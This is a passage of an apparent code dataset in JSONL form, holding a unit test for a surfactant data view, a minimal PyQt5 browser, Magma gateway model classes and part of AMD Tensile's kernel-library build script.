FormulationTableRow(chemical='parameter_2'))\n self.assertEqual([0, 1], self.data_view._base_indices)\n\n def test_salt_curve_index(self):\n self.assertEqual('', self.data_view.curve_variable)\n self.assertIsNone(self.data_view._curve_index)\n\n self.data_view.curve_variable = 'kpi_1'\n self.assertEqual(3, self.data_view._curve_index)\n\n self.assertEqual('', self.data_view.salt_variable)\n self.assertIsNone(self.data_view._salt_index)\n\n self.data_view.salt_variable = 'salt'\n self.assertEqual(2, self.data_view._salt_index)\n\n def test_format_data_value(self):\n self.assertEqual(\n 'a string', self.data_view._format_data_value('a string'))\n self.assertEqual(\n 1.0, self.data_view._format_data_value(0.999))\n\n self.data_view.conc_rounding = 4\n self.assertEqual(\n 0.999, self.data_view._format_data_value(0.999))\n\n def test_format_data_hash_key(self):\n self.assertEqual(\n '',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual(\n 'parameter_1:A',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n self.base_table_row.concentration = 'parameter_2'\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual(\n 'parameter_1:A-parameter_2:1.46',\n self.data_view._format_data_hash_key(\n ('A', 1.4566, 0.5, 10))\n )\n\n self.analysis_model.header = []\n self.assertEqual(\n '',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n def test_initialize_data(self):\n data_table = self.data_view.curve_data_table\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [\n self.base_table_row,\n FormulationTableRow(chemical='parameter_2')\n ]\n\n for key in ['parameter_1:A-parameter_2:1.45',\n 'parameter_1:A-parameter_2:5.11',\n 'parameter_1:B-parameter_2:5.0']:\n self.assertIn(key, self.data_view._data)\n self.assertIsNone(data_table.selected_row)\n\n data_table.selected_row = data_table.table_rows[0]\n self.data_view.conc_rounding = 1\n for key in ['parameter_1:A-parameter_2:1.4',\n 'parameter_1:A-parameter_2:5.1',\n 'parameter_1:B-parameter_2:5.0']:\n self.assertIn(key, self.data_view._data)\n self.assertIsNone(data_table.selected_row)\n\n def test_update_data(self):\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [self.base_table_row]\n\n self.assertEqual(2, len(self.data_view._data))\n table_row = self.data_view._data['parameter_1:A']\n self.assertEqual(12, table_row.curve_max)\n\n self.analysis_model.header = []\n self.assertEqual(0, len(self.data_view._data))\n\n def test_record_max_value_for_entry(self):\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [self.base_table_row]\n\n data = {}\n self.data_view._record_max_value_for_entry(0, data)\n self.assertEqual(1, len(data))\n self.assertIn('parameter_1:A', data)\n\n table_row = data['parameter_1:A']\n self.assertEqual(10, table_row.curve_max)\n self.assertEqual('A', table_row.parameter_1)\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"}
+{"text": "# -*- coding: utf-8 -*-\n__author__ = \"Felipe Oliveira\"\n__license__ = \"MIT\"\n\"\"\"home.py: Navegador Open Source \"\"\"\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow,QToolButton, QLineEdit, QMessageBox\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView\nfrom PyQt5.QtCore import QUrl, QSize\nfrom PyQt5.QtGui import QIcon, QPixmap\n\nhome_url = \"https://www.google.com\"\nfacebook_url = \"https://www.facebook.com\"\ntwitter_url = \"https://www.twitter.com\"\nyoutube_url = \"https://www.youtube.com\"\n\ndef home(mainWindow):\n\tweb.load(QUrl(home_url))\ndef reload(mainWindow):\n\tweb.reload()\ndef back(mainWindow):\n\tweb.back()\ndef forward(mainWindow):\n\tweb.forward()\ndef go(mainWindow):\n\tgo_url = go_line.text()\n\tweb.load(QUrl(go_url))\ndef facebook(mainWindow):\n\tweb.load(QUrl(facebook_url))\ndef twitter(mainWindow):\n\tweb.load(QUrl(twitter_url))\ndef youtube(mainWindow):\n\tweb.load(QUrl(youtube_url))\ndef download(item):\n\titem.accept()\n\tmsg = QMessageBox()\n\tmsg.setWindowTitle(\"DOWNLOAD\")\n\tmsg.setText(\"O SEU DOWNLOAD FOI INICIALIZADO\")\n\tmsg.setIcon(QMessageBox.Warning)\n\tmsg.exec_()\n\napplication = QApplication([])\n\nmainWindow= QMainWindow()\nmainWindow.setGeometry(0,0,1015,768)\nmainWindow.setMinimumWidth(1015)\nmainWindow.setMaximumWidth(1015)\nmainWindow.setMinimumHeight(768)\nmainWindow.setMaximumHeight(768)\nmainWindow.setWindowTitle(\"MyBrowser\")\nmainWindow.setStyleSheet(\"background-color:rgb(0,0,0);\")\nmainWindow.setWindowIcon(QIcon(\"browser.png\"))\n\nweb = QWebEngineView(mainWindow)\nweb.setGeometry(0,30,1015,768)\nweb.setStyleSheet(\"background-color:rgb(255,255,255);\")\nweb.load(QUrl(home_url))\n\nhome_button = QToolButton(mainWindow)\nhome_button.setGeometry(10,3,25,25)\nhome_button.setStyleSheet(\"background-color:transparent;\")\nhome_button_icon = QIcon()\nhome_button_icon.addPixmap(QPixmap(\"home.png\"))\nhome_button.setIcon(home_button_icon)\nhome_button.clicked.connect(home)\n\nreload_button = QToolButton(mainWindow)\nreload_button.setGeometry(60,3,25,25)\nreload_button.setStyleSheet(\"background-color:transparent;\")\nreload_button_icon = QIcon()\nreload_button_icon.addPixmap(QPixmap(\"reload.png\"))\nreload_button.setIcon(reload_button_icon)\nreload_button.clicked.connect(reload)\n\nback_button = QToolButton(mainWindow)\nback_button.setGeometry(140,3,25,25)\nback_button.setStyleSheet(\"background-color:transparent;\")\nback_button_icon = QIcon()\nback_button_icon.addPixmap(QPixmap(\"back.png\"))\nback_button.setIcon(back_button_icon)\nback_button.clicked.connect(back)\n\nforward_button = QToolButton(mainWindow)\nforward_button.setGeometry(180,3,25,25)\nforward_button.setStyleSheet(\"background-color:transparent;\")\nforward_button_icon = QIcon()\nforward_button_icon.addPixmap(QPixmap(\"forward.png\"))\nforward_button.setIcon(forward_button_icon)\nforward_button.clicked.connect(forward)\n\ngo_line = QLineEdit(mainWindow)\ngo_line.setGeometry(280,3,300,25)\ngo_line.setStyleSheet(\"background-color:rgb(255,255,255);\")\n\ngo_button = QToolButton(mainWindow)\ngo_button.setGeometry(600,3,25,25)\ngo_button.setStyleSheet(\"background-color:transparent;\")\ngo_button_icon = QIcon()\ngo_button_icon.addPixmap(QPixmap(\"go.png\"))\ngo_button.setIcon(go_button_icon)\ngo_button.clicked.connect(go)\n\nfacebook_button = QToolButton(mainWindow)\nfacebook_button.setGeometry(905,3,50,25)\nfacebook_button.setStyleSheet(\"background-color:transparent;\")\nfacebook_button_icon = QIcon()\nfacebook_button_icon.addPixmap(QPixmap(\"fb.png\"))\nfacebook_button.setIcon(facebook_button_icon)\nfacebook_button.setIconSize(QSize(22,22))\nfacebook_button.clicked.connect(facebook)\n\ntwitter_button = QToolButton(mainWindow)\ntwitter_button.setGeometry(940,3,50,25)\ntwitter_button.setStyleSheet(\"background-color:transparent;\")\ntwitter_button_icon = QIcon()\ntwitter_button_icon.addPixmap(QPixmap(\"tw.png\"))\ntwitter_button.setIcon(twitter_button_icon)\ntwitter_button.setIconSize(QSize(22,22))\ntwitter_button.clicked.connect(twitter)\n\nyoutube_button = QToolButton(mainWindow)\nyoutube_button.setGeometry(975,3,50,25)\nyoutube_button.setStyleSheet(\"background-color:transparent;\")\nyoutube_button_icon = QIcon()\nyoutube_button_icon.addPixmap(QPixmap(\"yt.png\"))\nyoutube_button.setIcon(youtube_button_icon)\nyoutube_button.setIconSize(QSize(22,22))\nyoutube_button.clicked.connect(youtube)\n\n\nmainWindow.show()\napplication.exec_()", "source": "felipedavi/MyBrowserProject", "license": "MIT"}
+{"text": "\"\"\"\nCopyright 2020 The Magma Authors.\n\nThis source code is licensed under the BSD-style license found in the\nLICENSE file in the root directory of this source tree.\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nfrom typing import List, NamedTuple\n\nClientCert = NamedTuple(\n 'ClientCert',\n [('cert', str), ('key', str)],\n)\n\n\nclass NetworkDNSConfig:\n def __init__(self, enable_caching: bool, local_ttl: int):\n self.enable_caching = enable_caching\n self.local_ttl = local_ttl\n\n\nclass GenericNetwork:\n def __init__(self, id: str, name: str, description: str,\n dns: NetworkDNSConfig):\n self.id = id\n self.name = name\n self.description = description\n self.dns = dns\n\n\nclass MagmadGatewayConfigs:\n def __init__(self,\n autoupgrade_enabled: bool,\n autoupgrade_poll_interval: int,\n checkin_interval: int,\n checkin_timeout: int):\n self.autoupgrade_enabled = autoupgrade_enabled\n self.autoupgrade_poll_interval = autoupgrade_poll_interval\n self.checkin_interval = checkin_interval\n self.checkin_timeout = checkin_timeout\n\n\nclass ChallengeKey:\n def __init__(self, key_type: str):\n self.key_type = key_type\n\n\nclass GatewayDevice:\n def __init__(self, hardware_id: str, key: ChallengeKey):\n self.hardware_id = hardware_id\n self.key = key\n\n\nclass Gateway:\n def __init__(self,\n id: str,\n name: str, description: str,\n magmad: MagmadGatewayConfigs,\n device: GatewayDevice,\n tier: str):\n self.id = id\n self.name, self.description = name, description,\n self.magmad = magmad\n self.device = device\n self.tier = tier\n\n\nclass TierImage:\n def __init__(self, name: str, order: int):\n self.name = name\n self.order = order\n\n\nclass Tier:\n def __init__(self, id: str, version: str, images: List[TierImage],\n gateways: List[str]):\n self.id = id\n self.version = version\n self.images = images\n self.gateways = gateways\n", "source": "gurrapualt/magma", "license": "BSD-3-Clause"}
+{"text": "################################################################################\n# Copyright (C) 2016-2019 Advanced Micro Devices, Inc. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell cop-\n# ies of the Software, and to permit persons to whom the Software is furnished\n# to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IM-\n# PLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNE-\n# CTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n################################################################################\n# This script only gets called by CMake\n\nif __name__ == \"__main__\":\n print(\"This file can no longer be run as a script. Run 'Tensile/bin/TensileCreateLibrary' instead.\")\n exit(1)\n\nfrom . import Common\nfrom . import EmbeddedData\nfrom . import Utils\nfrom . import YAMLIO\nfrom .Common import globalParameters, HR, print1, print2, printExit, ensurePath, \\\n CHeader, CMakeHeader, assignGlobalParameters, ProgressBar, \\\n listToInitializer\nfrom .KernelWriterAssembly import KernelWriterAssembly\nfrom .KernelWriterSource import KernelWriterSource\nfrom .SolutionStructs import Solution\nfrom .SolutionWriter import SolutionWriter\n\nimport argparse\nimport collections\nimport itertools\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n################################################################################\ndef processKernelSource(kernel, kernelWriterSource, kernelWriterAssembly):\n \"\"\"\n Generate source for a single kernel.\n Returns (error, source, header, kernelName).\n \"\"\"\n try:\n kernelWriter = kernelWriterSource if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly\n # get kernel name\n kernelName = kernelWriter.getKernelName(kernel)\n #sys.stderr.write(\"kernel:%s\\n\"% kernelName)\n (err, src) = kernelWriter.getSourceFileString(kernel)\n header = kernelWriter.getHeaderFileString(kernel)\n except RuntimeError:\n return (1, \"\", \"\", kernelName)\n\n return (err, src, header, kernelName)\n\ndef getAssemblyCodeObjectFiles(kernels, kernelWriterAssembly, outputPath):\n destDir = ensurePath(os.path.join(outputPath, 'library'))\n asmDir = kernelWriterAssembly.getAssemblyDirectory()\n assemblyKernels = list([k for k in kernels if k['KernelLanguage'] == 'Assembly'])\n if len(assemblyKernels) == 0:\n return []\n\n if globalParameters[\"MergeFiles\"]:\n archs = collections.defaultdict(list)\n for k in assemblyKernels:\n archs[tuple(k['ISA'])].append(k)\n\n coFiles = []\n for arch, archKernels in archs.items():\n objectFiles = list([kernelWriterAssembly.getKernelName(k) + '.o' \\\n for k in archKernels \\\n if k['KernelLanguage'] == 'Assembly'])\n if len(objectFiles) == 0:\n continue\n\n archName = 'gfx'+''.join(map(str,arch))\n coFile = os.path.join(destDir, 'TensileLibrary_{}.co'.format(archName))\n args = kernelWriterAssembly.getLinkCodeObjectArgs(objectFiles, coFile)\n subprocess.check_call(args, cwd=asmDir)\n coFiles.append(coFile)\n\n return coFiles\n\n else:\n assemblyKernelNames = [kernelWriterAssembly.getKernelName(k) for k in assemblyKernels]\n origCOFiles = [os.path.join(asmDir, k + '.co') for k in assemblyKernelNames]\n newCOFiles = [os.path.join(destDir, k + '.co') for k in assemblyKernelNames]\n for src, dst in Utils.tqdm(zip(origCOFiles, newCOFiles), \"Copying code objects\"):\n shutil.copyfile(src, dst)\n\n return newCOFiles\n\ndef which(p):\n exes = [p+x for x in ['', '.exe', '.bat']]\n system_path = os.environ['PATH'].split(os.pathsep)\n for dirname in system_path+['/opt/rocm/bin']:\n for exe in exes:\n candidate = os.path.join(os.path.expanduser(dirname), exe)\n if os.path.isfile(candidate):\n return candidate\n return None\n\n\ndef buildSourceCodeObjectFile(CxxCompiler, outputPath, kernelFile):\n buildPath = ensurePath(os.path.join(globalParameters['WorkingPath'], 'code_object_tmp'))\n destDir = ensurePath(os.path.join(outputPath, 'library'))\n (_, filename) = os.path.split(kernelFile)\n (base, _) = os.path.splitext(filename)\n\n objectFilename = base + '.o'\n objectFilepath = os.path.join(buildPath, objectFilename)\n\n soFilename = base + '.so'\n soFilepath = os.path.join(buildPath, soFilename)\n\n archs = ['gfx'+''.join(map(str,arch)) for arch in globalParameters['SupportedISA'] \\\n if globalParameters[\"AsmCaps\"][arch][\"SupportedISA\"]]\n\n archFlags = ['--amdgpu-target=' + arch for arch in archs]\n\n if (CxxCompiler == 'hcc'):\n\n hipFlags = subprocess.check_output([which('hcc-config'), '--cxxflags']).decode().split(' ')\n # when HCC_HOME is defined -I/opt/rocm/include is *not* part of\n # hcc-config --cxxflags; so we need hipconfig -C to be safe\n hipFlags += subprocess.check_output([which('hipconfig'), '-C']).decode().split(' ')\n hipLinkFlags = subprocess.check_output([which('hcc-config'), '--ldflags', '--shared']).decode().split(' ')\n\n hipFlags += ['-I', outputPath, '-fPIC']\n\n compileArgs = [which('hcc')] + hipFlags + [kernelFile, '-c', '-o', objectFilepath]\n\n linkArgs = [globalParameters['AssemblerPath']] + hipLinkFlags + archFlags + [objectFilepath, '-shared', '-o', soFilepath]\n extractArgs = [globalParameters['ExtractKernelPath'], '-i', soFilename]\n\n #print(' '.join(compileArgs))\n subprocess.check_call(compileArgs)\n\n #print(' '.join(linkArgs))\n subprocess.check_call(linkArgs)\n\n #print(' '.join(extractArgs))\n subprocess.check_call(extractArgs, cwd=buildPath)\n\n coFilenames = [\"{0}-000-{1}.hsaco\".format(soFilename, arch) for arch in archs]\n elif (CxxCompiler == \"hipcc\"):\n\n hipFlags = [\"--genco\", \"-D__HIP_HCC_COMPAT_MODE__=1\"]\n\n hipFlags += ['-I', outputPath]\n\n compileArgs = [which('hipcc')] + hipFlags + archFlags + [kernelFile, '-c', '-o', soFilepath]\n\n #print(' '.join(compileArgs))\n subprocess.check_call(compileArgs)\n\n coFilenames = [soFilename]\n else:\n raise RuntimeError(\"Unknown compiler {}\".format(CxxCompiler))\n\n extractedCOs = [os.path.join(buildPath, name) for name in coFilenames]\n destCOs = [os.path.join(destDir, name) for name in coFilenames]\n\n for (src, dst) in zip(extractedCOs, destCOs):\n shutil.copyfile(src, dst)\n\n return destCOs\n\ndef buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath):\n args = zip(itertools.repeat(CxxCompiler), itertools.repeat(outputPath), kernelFiles)\n\n coFiles = Common.ParallelMap(buildSourceCodeObjectFile, args, \"Compiling source kernels\",\n method=lambda x: x.starmap)\n\n return itertools.chain.from_iterable(coFiles)\n\n################################################################################\ndef prepAsm():\n \"\"\"\n Create and prepare the assembly directory - called ONCE per output dir:\n \"\"\"\n asmPath = ensurePath(os.path.join(globalParameters[\"WorkingPath\"], \"assembly\") )\n assemblerFileName = os.path.join(asmPath, \\\n \"asm.%s\"%(\"bat\" if os.name==\"nt\" else \"sh\"))\n assemblerFile = open(assemblerFileName, \"w\")\n if os.name == \"nt\":\n assemblerFile.write(\"echo Windows: Copying instead of Assembling\\n\")\n assemblerFile.write(\"copy %1.s %1.o\\n\")\n assemblerFile.write(\"copy %1.o %1.co\\n\")\n else:\n assemblerFile.write(\"#!/bin/sh %s\\n\" % (\"-x\" if globalParameters[\"PrintLevel\"] >=2 else \"\"))\n assemblerFile.write(\"# usage: asm.sh kernelName ASM_ARGS\\n\")\n assemblerFile.write(\"# example: asm.sh kernelName -mcpu=gfx900\\n\")\n assemblerFile.write(\"f=$1\\n\")\n assemblerFile.write(\"shift\\n\")\n assemblerFile.write(\"ASM=%s\\n\"%globalParameters[\"AssemblerPath\"])\n # cannot use globalParameters[\"CurrentISA\"] because it might be (0,0,0)\n defaultIsa = (9,0,0)\n assemblerFile.write( \\\n \"${ASM} -x assembler -target amdgcn-amd-amdhsa %s $@ -c -o $f.o $f.s\\n\" % \\\n (\"-mno-code-object-v3\" if \\\n globalParameters[\"AsmCaps\"][defaultIsa][\"HasCodeObjectV3\"] and \\\n globalParameters[\"CodeObjectVersion\"] == \"V2\" else \"-mcode-object-v3\"))\n assemblerFile.write(\"${ASM} -target amdgcn-amd-amdhsa $f.o -o $f.co\\n\")\n assemblerFile.close()\n os.chmod(assemblerFileName, 0o777)\n\n################################################################################\ndef buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, \\\n kernelSourceFile, kernelHeaderFile):\n \"\"\"\n Logs errors and writes appropriate info to kernelSourceFile and kernelHeaderFile.\n\n Arguments:\n results: list of (err, src, header, kernelName)\n outputPath: path to source directory\n kernelsWithBuildErrs: Dictionary to be updated with kernels that have errors\n kernelSourceFile: File to write source data to\n kernelHeaderFile: File to write header data to\n \"\"\"\n\n sourceFilenames = []\n\n for (err,src,header,kernelName) in results:\n if err:\n kernelsWithBuildErrs[kernelName] = err\n #print \"*** warning: invalid kernel#%s\"%kernelName\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n filename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n sourceFilenames.append(filename)\n kernelSourceFile = open(filename, \"w\")\n kernelSourceFile.write(CHeader)\n\n kernelSourceFile.write(src)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName+\".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n\n kernelHeaderFile.write(header)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n return sourceFilenames\n\n################################################################################\n# Write Solutions and Kernels for BenchmarkClient or LibraryClient\n################################################################################\ndef writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions, kernels, kernelsBetaOnly, \\\n solutionWriter, kernelWriterSource, kernelWriterAssembly, errorTolerant=False):\n start = time.time()\n\n codeObjectFiles = []\n\n print1(\"# Writing Kernels...\")\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Solutions\"))\n ensurePath(os.path.join(outputPath, \"Kernels\"))\n\n ##############################################################################\n # Write Kernels\n ##############################################################################\n kernelFiles = []\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels.cpp\")\n kernelHeaderFilename = os.path.join(outputPath, \"Kernels.h\")\n\n kernelFiles.append(kernelSourceFilename)\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelHeaderFile = open(kernelHeaderFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelHeaderFile.write(CHeader)\n kernelSourceFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n kernelHeaderFile.write(\"#pragma once\\n\")\n if globalParameters[\"RuntimeLanguage\"] == \"HIP\":\n kernelHeaderFile.write(\"#include \\n\")\n kernelHeaderFile.write(\"#include \\n\\n\")\n kernelHeaderFile.write(\"#include \\\"KernelHeader.h\\\"\\n\\n\")\n else:\n kernelSourceFile = None\n kernelHeaderFile = None\n\n kernelsWithBuildErrs = {}\n\n prepAsm()\n\n kIter = zip(kernels, itertools.repeat(kernelWriterSource), itertools.repeat(kernelWriterAssembly))\n results = Common.ParallelMap(processKernelSource, kIter, \"Generating kernels\", method=lambda x: x.starmap)\n print(len(results))\n\n removeKernels = []\n removeSolutions = []\n removeResults = []\n for kernIdx in range(0, len(results)):\n (err,src,header,kernelName) = results[kernIdx]\n if(err == -2):\n removeKernels.append(kernels[kernIdx])\n removeSolutions.append(solutions[kernIdx])\n removeResults.append(results[kernIdx])\n for kern in removeKernels:\n kernels.remove(kern)\n for solut in removeSolutions:\n solutions.remove(solut)\n for rel in removeResults:\n results.remove(rel)\n\n kernelFiles += buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, kernelSourceFile, kernelHeaderFile)\n\n kernelsToBuild = list(kernels)\n if errorTolerant:\n def success(kernel):\n writer = kernelWriterAssembly if kernel['KernelLanguage'] == 'Assembly' else kernelWriterSource\n kernelName = writer.getKernelName(kernel)\n return kernelName not in kernelsWithBuildErrs\n kernelsToBuild = list(filter(success, kernelsToBuild))\n\n if False:#len(kernelsWithBuildErrs) > 0:\n print(\"\\nKernel compilation failed in one or more subprocesses. May want to set CpuThreads=0 and re-run to make debug easier\")\n printExit(\"** kernel compilation failure **\")\n\n\n # beta-only kernels\n for kernel in kernelsBetaOnly:\n kernelWriter = kernelWriterSource\n kernelName = kernelWriter.getKernelNameBetaOnly(kernel)\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelFiles.append(kernelSourceFilename)\n\n (err, src) = kernelWriter.getSourceFileStringBetaOnly(kernel)\n kernelSourceFile.write(src)\n if err:\n print(\"*** warning: invalid kernel#%u\"%kernelName)\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName + \".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n kernelHeaderFile.write( kernelWriter.getHeaderFileStringBetaOnly(kernel))\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n # close merged\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n kernelHeaderFile.close()\n\n kernelsToBuild += kernelsBetaOnly\n\n codeObjectFiles += buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath)\n codeObjectFiles += getAssemblyCodeObjectFiles(kernelsToBuild, kernelWriterAssembly, outputPath)\n\n stop = time.time()\n print(\"# Kernel Building elapsed time = %.1f secs\" % (stop-start))\n\n print1(\"# Writing Solutions\")\n if globalParameters[\"ShowProgressBar\"]:\n progressBar = ProgressBar(len(solutions))\n ##############################################################################\n # Write Solutions\n ##############################################################################\n\n solutionSourceFilename = os.path.join(outputPath, \"Solutions.cpp\")\n solutionHeaderFilename = os.path.join(outputPath, \"Solutions.h\")\n\n solutionSourceFile = open(solutionSourceFilename, \"w\")\n solutionHeaderFile = open(solutionHeaderFilename, \"w\")\n solutionSourceFile.write(CHeader)\n solutionHeaderFile.write(CHeader)\n\n solutionSourceFile.write(\"#include \\\"Solutions.h\\\"\\n\")\n solutionSourceFile.write(\"#include \\n\")\n\n solutionHeaderFile.write(\"#include \\\"TensileTypes.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"SolutionHelper.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"Tools.h\\\"\\n\")\n if globalParameters[\"CodeFromFiles\"]:\n solutionHeaderFile.write(\"#include \\n\")\n if globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n\n\n # Write a solution pointer typedef for each problemType:\n h = \"\"\n for problemType in problemTypes:\n #print \"p=\", problemType\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n # declare TensileSolutionPointer_ProblemType\n h += \"\\n// solution pointer\\n\"\n h += \"typedef TensileStatus (*TensileSolutionPointer_%s)(\\n\" % problemType\n for i in range(0, len(argListAll)):\n h += \" %s %s%s\" % (argListAll[i][0], argListAll[i][1], \",\\n\" \\\n if i < len(argListAll)-1 else \");\\n\\n\")\n h += \"\\n\"\n\n solutionHeaderFile.write(h)\n#\n for solution in solutions:\n # get solution name\n if not globalParameters[\"MergeFiles\"]:\n solutionFileName = solutionWriter.getSolutionName(solution)\n\n # write solution.cpp\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".cpp\"), \"w\")\n solutionSourceFile.write(CHeader)\n solutionSourceFile.write( \\\n solutionWriter.getProblemSourceString(solution[\"ProblemType\"], solution, kernelsWithBuildErrs))\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile.close()\n\n # write solution.h\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".h\"), \"w\")\n solutionHeaderFile.write(CHeader)\n solutionHeaderFile.write( \\\n solutionWriter.getHeaderFileString(solution))\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n if globalParameters[\"ShowProgressBar\"]:\n progressBar.increment()\n # close merged\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n\n if globalParameters[\"ExitAfterKernelGen\"]:\n printExit(\"** Exiting after kernel generation due to ExitAfterKernelGen=1\")\n\n return codeObjectFiles\n\n################################################################################\n# Write Logic\n################################################################################\ndef writeLogic(outputPath, logicData, solutionWriter ):\n print1(\"# Writing Library Logic\")\n\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Logic\"))\n\n # Tensile.h\n h = \"\"\n h += \"#pragma once\\n\"\n h += \"#include \\\"TensileTypes.h\\\"\\n\"\n h += \"#include \\\"SolutionHelper.h\\\"\\n\"\n h += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n # TensileInternal.h\n ih = \"\"\n ih += \"#include \\\"Tensile.h\\\"\\n\"\n\n # Tensile.cpp\n\n sourceIncludes = \"\"\n sourceIncludes += \"#include \\\"Solutions.h\\\"\\n\"\n sourceIncludes += \"#include \\\"Tensile.h\\\"\\n\"\n sourceIncludes += \"#include \\\"TensileInternal.h\\\"\\n\"\n sourceIncludes += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n s = sourceIncludes\n\n ########################################\n # problemType\n for problemType in logicData:\n\n # function argument list\n argListSizes = solutionWriter.getArgList(problemType, False, False, False, False)\n argListData = solutionWriter.getArgList(problemType, False, True, True, True)\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n \n # tensile initializer\n h += \"\\nvoid tensileInitialize();\\n\\n\"\n\n # declare tensile_ProblemType\n h += \"\\n// enqueue solution\\n\"\n h += \"TensileStatus tensile_%s(\\n\" % problemType\n for i in range(0, len(argListData)):\n h += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \");\\n\\n\")\n\n\n numSizes = problemType[\"TotalIndices\"];\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideD = problemType[\"NumIndicesC\"]\n h += \"typedef ProblemKey<%u> ProblemKey_%s;\\n\" % (numSizes,problemType)\n h += \"typedef ProblemDims<%u,%u,%u,%u,%u,%u> ProblemDims_%s;\\n\" \\\n % (firstStride, lastStrideD, lastStrideC, lastStrideA, lastStrideB, numSizes, problemType)\n h += \"typedef SolutionMapper SolutionMapper_%s;\\n\" \\\n % (problemType, problemType, problemType)\n\n # declare tensileGetSolutionPointer_ProblemType\n h += \"\\n// get solution pointer\\n\"\n h += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n h += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n # declare tensileName_\n h += \"// get solution name\\n\"\n h += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < 